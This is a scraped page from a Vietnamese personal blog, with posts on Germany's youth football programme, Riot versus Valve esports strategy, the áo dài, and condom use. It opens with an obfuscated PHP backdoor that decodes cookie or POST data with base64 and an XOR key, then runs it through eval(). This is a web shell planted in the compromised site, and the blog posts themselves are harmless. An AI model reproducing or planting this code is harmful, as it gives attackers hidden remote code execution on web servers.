$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> Uncategorized – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Category: Uncategorized

Kế hoạch 14 năm của Đức đã huỷ diệt Brazil thế nào

(bài dịch từ Business Week).

—-

Khi trận đấu càng đi dần vào những phút cuối, càng khó để có thể tiếp tục thưởng thức nó. Cũng tội cho Andre Schürrle, tiền đạo vào thay người bên tuyển Đức trong hiệp 2, vì cậu ấy không thể ăn mừng 2 bàn thắng của mình một cách vui vẻ như Thomas Müller, khi anh này nổ phát súng đầu tiên vào phút thứ 11. Một người bạn của tôi xem trận đấu tại quán bar nơi Berlin kể rằng, thời điểm Oscar, cuối cùng, cũng ghi được bàn danh dự cho Brazil vào phút 90, tất cả người Đức đều tặng Oscar một tràng vỗ tay nhẹ như lời an ủi và sẻ chia.

Không nghi ngờ gì việc Brazil thi đấu dưới sức hôm thứ 3 rồi, và nếu nói rộng hơn, là xuyên suốt kì World Cup. Tất cả các chiến thắng của họ đều may mắn, suýt sao, hoặc cả hai. Nhưng chiến thắng của Đức không phải do Brazil đột nhiên tan vỡ mong manh. Mà là Đức đánh bại đội chủ nhà bằng thứ bóng đá đầy chính xác và cảm hứng – thứ bóng đá mà họ đã chơi ngay từ giây phút bắt đầu giải đấu. Đây không phải ngẫu nhiên, không phải là món quà Thượng Đế đã gửi tới cho họ: một thế hệ vàng đầy tài năng. Đây là kết quả của kế hoạch đã kéo dài 14-năm, đãi cát tìm vàng từ hơn 80 triệu người Đức, để tìm ra những đứa trẻ có thể thật sự chơi bóng, huấn luyện chúng ngay khi nhỏ, và đưa chúng từ từ lên chuyên nghiệp.

Tất cả các quốc gia đều làm như thế, ồ, hoặc là gần gần thế. Bỉ chẳng phải cũng làm tốt lắm đấy ư? Nhưng sau trận đấu hôm nay, không ai có thể phủ nhận rằng Đức thực hiện việc đó tốt nhất.

Ở Euro 2000, khi Đức bị loại ngay từ vòng đấu bảng, sự giận dữ lan tràn khắp cả quốc gia. Liên đoàn bóng đá Đức lúc đấy mới cho ra đời một kế hoạch. Theo truyền thống ở Châu Âu, đào tạo và phát triển cầu thủ trẻ là việc của các câu lạc bộ. Vài câu lạc bộ, như Bạch Xà (Barcelona) hay Ajax, vốn có truyền thống tốt đẹp với học viện bóng đá trẻ của họ hàng năm đều sản sinh ra nhân tài. Nhưng LĐBĐ Đức cho rằng, như thế vẫn để sót tài năng, và vào năm 2002, họ tiến hành một chương trình tìm kiếm trên phạm vi toàn quốc gia.

LĐBĐ Đức đứng ra tổ chức các chương trình trên khắp các vùng lãnh thổ trên nước Đức, nơi các Huấn luyện viên (có chứng nhận từ LĐBĐ) bắt đầu dạy các kĩ năng chơi bóng cho những đứa trẻ mới-6-tuổi. Rồi sau đó, là việc của các tuyển trạch viên, đi khắp nơi để tìm kiếm những đứa trẻ đã-8-tuổi đủ kĩ năng để đào tạo cao hơn.

Ngoài ra, tất cả CLB ở giải hạng nhất và hạng nhì Bundesliga phải lập một câu lạc bộ bóng đá trường trung học (cấp 3) của riêng mình. Trong khoảng từ năm 2002 – 2010, số tiền mà các đội chuyên nghiệp bỏ ra cho việc đào tạo tài năng trẻ đã tăng gấp đôi, lên tới tầm 85 triệu euro mỗi năm. Và những gì bỏ ra đã đạt được thành quả. Hãy thử nhìn vào thế hệ cầu thủ của Đức Julian Draxler (19), Andre Schürrle (22), Sven Bender (24), Thomas Müller (23), Holger Badstuber (24), Mats Hummels (24), Mesut Ozil (24), Ilkay Gündoğan (22), Mario Götze (20), Marco Reus (23), Toni Kroos (23)… danh sách còn nữa.

Müller, Kroos, Schürrle là những anh chàng đã ghi 5 trong số 7 bàn trận rồi. Và cỗ máy sản xuất tài năng của Đức, nên nhớ rằng, vẫn chỉ mới bắt đầu hoạt động. Một cậu bé 6 tuổi vào năm 2002, giờ đây cũng mới chớm 18 mà thôi.

Chúng ta yêu thích World Cup, bởi vì nơi đây, chúng ta thấy được sự cạnh tranh gay gắt giữa các quốc gia. Vài đất nước may mắn, như Argentina có thiên tài Lionel Messi, Bồ Đào Nha có Cristiano Ronaldo. Nhưng một đội tuyển quốc gia nên được vận hành như một cỗ máy, với một kế hoạch chạy dài hơi, bền bỉ qua vài thập kỉ, để tìm kiếm và đào tạo tài năng.

Đức không may mắn có những cầu thủ như Leo hay Ronaldo. Nhưng họ theo đuổi và làm đến cùng kế hoạch của họ. Vì vậy, ắt không lấy gì làm ngạc nhiên lắm, khi Đức đá tốt thế này.

—-

Dịch ý là chính. Chưa check lại.

Nhân T4i, nói về Riot, Valve và triết lý phát triển

tournaments

Hình ở trên là danh sách những giải đấu thế thao điện tử (esport) có tổng trị giá giải thưởng cao nhất. Dễ nhận thấy ở đây là sự vượt trội siêu tuyệt đối của DotA2. Hiện tại thời điểm này, TI4 (The International 4 – giải vô địch thế giới DotA2) đã gần đạt được mốc 7 triệu USD giải thưởng, và chắc chắn con số sẽ không dừng ở đó.

Đây là một tin tốt không chỉ cho DotA2 nói riêng, mà cả nền esport nói chung. Tuy không thể sánh ngang với các môn thể thao truyền thống như bóng đá, bóng rổ, bóng bầu dục… nhưng esport cũng đã phần nào chứng tỏ được rằng, nó cũng như một bộ môn thể thao, các ngôi sao hoàn toàn có thể sống dư giả chỉ nhờ vào việc chơi game, xoá bỏ định kiến: ‘chỉ những đứa vô công rồi nghề không làm được gì cho xã hội mới cắm đầu vào game’ thường thấy bấy lâu.

Dĩ nhiên, như tựa đã nêu, bài viết này viết về Riot và Valve, chủ yếu về triết lý làm game và kinh doanh của 2 ông hoàng lớn nhất trong thể loại MOBA (Multiplayer Online Battle Arena – Đấu trường trực tuyến nhiều người chơi). Mục đích tác giả viết bài này, không nhằm so sánh xem ai ưu việt hơn, ai là người chiến thắng, ai là kẻ thất bại. Thêm nữa, thì là có phần ‘giải oan’ cho Riot, khi vài tuần gần đây, rất nhiều fan cả DotA2 lẫn trung lập gắn cho họ cái tiếng là ‘nhà giàu mà keo kiệt’, ‘bèo nhèo’, ‘chỉ biết ăn không nhả’…

Valve – triết lý ‘thả trôi’

Phải rất nể phục Valve, khi với chỉ vài chục người trong team làm DotA2, họ vẫn đủ sức tạo nên một tựa game gần như tuyệt hảo, cả về đồ hoạ lẫn lối chơi. Không dưới vài lần, Valve phát biểu công khai rằng, ở DotA2, họ chỉ ‘nhúng tay’ vào tổ chức The International, chỉ thế không hơn. Valve không kiểm soát DotA2, họ không điều khiển DotA2 đi theo hướng của mình (ở đây không nói về bản thân game, vì dĩ nhiên, Valve vẫn quyết định hero nào sẽ được buff, nerf…). Họ không trả lương cho các đội, họ không buộc các ngôi sao phải quay quảng cáo này, phát biểu cảm nghĩ nọ… Với họ, sẽ tốt hơn nếu để môi trường thi đấu chuyên nghiệp tự phát triển, để các đội tự lo lấy tài chính, tự quyết định hướng đi của mình. Điều này hoàn toàn khác với Riot mà tôi sẽ nói ở ngay sau đây.

Nói sâu xa hơn, thì điều này một phần bắt đầu từ lịch sử phát triển của tựa game này, bắt đầu từ DotA. DotA phát triển đều đặn, cộng đồng và các giải đấu được tổ chức thường xuyên mà không cần phải đi theo sự lèo lái điều khiển của bất cứ công ty nào. Các đội game, các ngôi sao họp rồi tan, thành lập rồi giải thể…như một phần của cuộc chơi. Đây là chiến lược phát triển của Valve. Cho dù Valve có xảy ra tình huống xấu nhất là phá sản, thì nền thi đấu chuyên nghiệp của DotA2 cũng sẽ hầu như không chịu ảnh hưởng nghiêm trọng. Nó đã, đang và sẽ mãi phát triển mà không cần một bàn tay chăm sóc.

Riot – vì eSport và vì chính mình

Trong mắt những game thủ, thì Riot hay được liên tưởng đến hình ảnh của một con bạch tuộc hút máu, giàu có mà keo kiệt. Điều này là hoàn toàn oan uổng cho họ. Nói đúng ra, cách mà Riot quan tâm đến LMHT có phần còn nhiều hơn cách mà Valve quan tâm đến DotA2. Trong những năm vừa qua, Riot làm đủ mọi cách để LMHT vươn lên thành một môn ‘thể thao’ thật sự.

Ở thời điểm hiện tại, giải thưởng TI4 lên tới 7 triệu USD, và số tiền Valve bỏ ra là âm. Hay nói cách khác, họ thu lợi vì trong số tiền mà người chơi bỏ ra để ủng hộ TI4, chỉ có 25% đi vào quỹ giải thưởng. Làm phép tính thì sẽ thấy, Valve đã bỏ túi tới hơn 20 triệu USD.

Những gì Riot làm với các giải đấu LMHT không nhằm mục đích thu lợi, mà như ý họ, là vì eSport. Riot biến LMHT thành một môn thể thao. Họ tổ chức (và tạo điều kiện) các giải đấu như những giải thể thao, đó là các giải vô địch Bắc Mỹ, Châu Âu, giải vô địch Hàn (OGN), vô địch Trung Quốc (LPL), vô địch khu Đông Nam Á (Garena)… và sắp tới là giải ở Châu Đại Dương. Họ mang đến trải nghiệm cho khán giả như một môn thể thao đích thực. Các đội thi đấu hàng tuần dưới sự theo dõi trực tiếp lẫn qua tường thuật có bình luận của hàng triệu khán giả trên khắp thế giới.

Nếu làm một phép tính đơn giản, năm ngoái, không tính đến chi phí cơ sở vật chất (xây dựng 2 studio để thi đấu), các chi phí phát sinh như trả lương hàng năm cho các Bình luận viên, dẫn chương trình, vé máy bay và khách sạn cho các đội bay đến thi đấu vài tháng một lần ở các địa điểm khác nhau (các tuần ‘siêu kinh điển’, khi thì ở Đức, khi thì ở Pháp…), năm ngoái Riot đã chi ra 8 triệu USD.

Họ trả lương cho mỗi đội $175.000/ mùa, 16 đội, 2 mùa/ năm, thêm tiền giải thưởng mỗi mùa, vị chi là 6 triệu USD/ năm (chưa kể các giải nghiệp dư).
Giải vô địch thế giới hàng năm là 2 triệu USD.

Và họ không thu về đồng nào.

Đó là triết lý phát triển game của Riot. Họ tựa như tổ chức NFL ở bóng bầu dục, muốn tất cả phải nằm trong tầm kiểm soát của mình. Họ có quyền đặt ra những luật lệ họ cho là cần thiết (gần đây là luật chuyển nhượng), họ định hướng hầu như hoàn toàn sự phát triển của nền thi đấu chuyên nghiệp. Lợi ích rõ nhất của điều này là LMHT gần mang lại cảm giác giống một môn thể thao điện tử hơn DotA2. Tuy nhiên, điểm yếu so với Valve là LMHT sẽ không phát triển theo lẽ tự nhiên, mà theo những gì Riot cho là cần thiết. Vì vậy, chỉ cần một sai lầm từ phía Riot, hay chuyện gì xảy ra với công ty, thì e là LMHT sẽ khó tiếp tục tồn tại và phát triển mạnh.

Kết luận

Dĩ nhiên, người viết bài không thể có đầu óc bằng những cây đa cây đề ở Valve hay Riot. Ắt những gì người viết cho là điểm yếu, là nguy cơ đều đã được các công ty đó nhận biết và có chiến lược để ngăn chặn. Bản thân người viết cũng chỉ gắng ở một cách khách quan nhất, biện hộ cho Riot khỏi những lời chỉ trích, dè bỉu họ không đáng phải nhận, và nêu lên quan điểm phát triển ở mỗi công ty, không nhằm mục đích so sánh xem quan điểm nào hợp lý hơn. Vì sự thật đã chứng minh, cả DotA2 và LMHT đều phát triển rất mạnh theo những cách riêng của mình. Và cũng mong những người hâm mộ DotA2 và LMHT hãy ngưng việc so sánh để rồi đả kích, dè bỉu lẫn nhau, vì nhìn chung tất cả đều là ‘thể thao’, và một trong những tiêu chí lớn nhất của thể thao là cao thượng và hết mình.

Em trong mắt anh

vẻ đep thuần khiết

vẻ đep thuần khiết

Em đẹp không cần son phấn

Duyên thầm xinh thật xinh… rất hiền

Không quần jeans, giầy cao gót

Em chọn riêng  mình em áo dài

Anh tự hào sinh ra và lớn lên ở Việt Nam, nơi mà chỉ ở đây, ngay tại Viêt nam này, anh và các bạn mới thấy được những tà áo dài tung bay trong chiều. Điều đó chẳng đẹp thật sao.

Những năm tháng cấ p 3 dù có trôi qua nhanh vì bài vở, những lần chạy xô học thêm mệt nghỉ, và sau này càng bận rộn với việc học đại học và làm việc, trong tâm trí anh vẫn in dấu rất rõ hình ảnh của tà áo dài ấy.

Anh không chỉ yêu tà áo dài duyên dáng của con gái, anh yêu tất cả những gì trong vắt và thuần khiết khi anh nhìn thấy con gái Việt. Họ đẹp trong mắt anh và mãi mãi sẽ đẹp trong mắt anh. Nếu có một chiều tình cờ ngang qua một bóng dáng ai, thì anh sẽ không ngại mà quay lại nhìn. Thời gian trôi nhanh lắm, biết chăng mai này mình còn được nhìn bóng dáng ấy hay không?

Nói như thế không có nghĩa là anh chê những cô gái “quần jeans, giày cao gót” kia là xấu. Không, hoàn toàn không xấu, họ đẹp hẳn ra, nếu không như vậy tại sao người ta lại thích trang điểm.

Nhưng anh yêu cái đẹp thuần khiết các bạn của anh ạ, điều ấy có lạ không cơ chứ. Mỗi người với anh đều như một giọt pha lê  trong suốt và đẹp biết bao. Những áo quần hàng hiệu kia, những giày dép mặc tiền kia có khoác lên cũng chỉ là cái vỏ mà thôi. Mỗi buỗi tối đi về, bóc lớp vỏ ấy ra, các bạn sẽ lại là chính mình mà thôi.

Cho anh nói điều này nhé, các bạn của anh, các bạn đẹp lắm đấy nhất là các bạn nữ. Chỉ mỗi một mình các bạn thôi đã đẹp lắm rồi. Tại sao phải “xi măng đất sét” cho khác đi khi mà mình đã quá đẹp.

Anh tôn sùng vẻ đẹp thuần khiết và anh trân trọng nó.

Anh yêu em cũng vì em thuần khiết, em có biết không? Em là viên ngọc lấp lánh và trong suốt, mình em đã quá đẹp rồi, đừng để ai nói với em khác đi nhé.

Yêu em..

No shirt, no flirt!

Condom

Hì, câu trên là slogan quảng cáo của một nhãn hiệu Bao cao su (từ đây gọi tắt là BCS). Tại sao anh lại viết một entry về BCS? Thật ra câu chuyện dài dòng lắm, anh lại sắp có việc phải đi nên bỏ qua khúc đầu và khúc đuôi, anh mạn phép xin kể khúc giữa thôi.

Có những sai lầm mà chỉ phạm một lần thôi, người ta đã phải trả giá bằng cả đời.

Câu chuyện là vào dịp Tết cách đây 2 năm, Tết năm 2007. Khi đó anh có về Vũng Tàu ăn Tết. Người yêu đầu tiên của anh cũng ra đó chơi. Cô ấy mướn 1 phòng trong khách sạn. Anh ghé vào chơi. Và mọi sự xảy ra quá nhanh. I had sex without using condom.

Thật ra khi anh tới đó, anh không chủ định have sex. Nhưng mọi sự xảy ra, anh không kiềm chế được, ôm hôn nhau, vuốt ve, và nó tới lúc nào chẳng hay. Đó cũng là lần đầu của anh.

Hôm vừa rồi anh đi khám sức khoẻ, mọi sự đều ổn cho tới khi anh phải xét nghiệm máu. Tới lúc đó anh mới nhận ra cái ngu của mình.

Bọn báo chí láo toét vẫn hay đăng những bài kiểu: em lỡ dại một lần, không ngờ lại dính AIDS…. Tộ sư mấy đời nó, thế mới làm anh lo.

2 năm trở lại đây, anh của các tình yêu tuy không mập lên được, nhưng do dáng của anh là dáng lãng tử, dong dỏng cao, chứ nào có bị bệnh tật đâu.

Anh vài ngày qua cứ lấy đó là điều để tự an ủi mình.

Và chiều nay, anh vừa đi lấy kết quả.

CÁM ƠN TRỜI! MỌI SỰ ĐỀU TỐT LÀNH.

Khi vừa về nhà, trước khi lao vào học bù cho những ngày chia trí qua, thiết nghĩ anh cần nên ra tiệm thuốc Tây và mua sẵn vài cái Durex để trong bóp nhằm phòng thân.

Anh cũng khuyến cáo các giai nên làm thế. Kẻo sau này hối hận lại chẳng kịp.

.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.